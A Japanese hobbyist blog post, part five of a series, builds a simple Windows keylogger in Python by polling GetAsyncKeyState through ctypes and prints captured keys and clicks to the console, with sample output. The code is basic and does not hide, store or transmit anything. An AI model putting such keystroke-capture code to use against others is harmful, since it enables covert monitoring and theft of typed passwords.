chinda_fall_desu’s diary

竹内豊の日記

ヒューマンコンピューターインターフェースをもっと知りたいなー

pythonでpyHookを使ってキーロガーを作る (Windows) ⑤

今度はpyHookを使わずにWindowsAPIだけを使ってキーロガーを作れないか試してみる。

WindowsAPIのGetAsyncKeyState()という関数を使ってみる。
GetAsyncKeyState function (winuser.h) - Win32 apps | Microsoft Docs
得られる仮想コードからどのキーが押されているかを監視する。
Virtual-Key Codes (Winuser.h) - Win32 apps | Microsoft Docs


ソースコード

import ctypes

while True:
    for i in range(0, 0xff):
        if ctypes.windll.user32.GetAsyncKeyState(i)==-32768:
            if i==0x01 :
                print("Lclick")
            elif i==0x02 :
                print("Rclick")
            elif i==0x04 :
                print("Cclick")
            elif i==0x08 :
                print("backspace")
            elif i==0x09 :
                print("tab")
            elif i==0x0D :
                print("enter")
            elif i==0x10 :
                print("shift")
            elif i==0x11 :
                print("ctl")
            elif i==0x12 :
                print("alt")
        elif ctypes.windll.user32.GetAsyncKeyState(i)==32768:
            if i>=0x41 and i<=0x5A :
                print(chr(i))
                break

・実行結果

> python .\sample.py
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
enter
A
A
A
A
:
:
A
A
A
A
F
F
:
:
F
F
F
F
F
G
G
:
G
G

一応キーを取得することはできている。改善の余地あり。

(間違い等あればコメントよろしくお願いいたします。)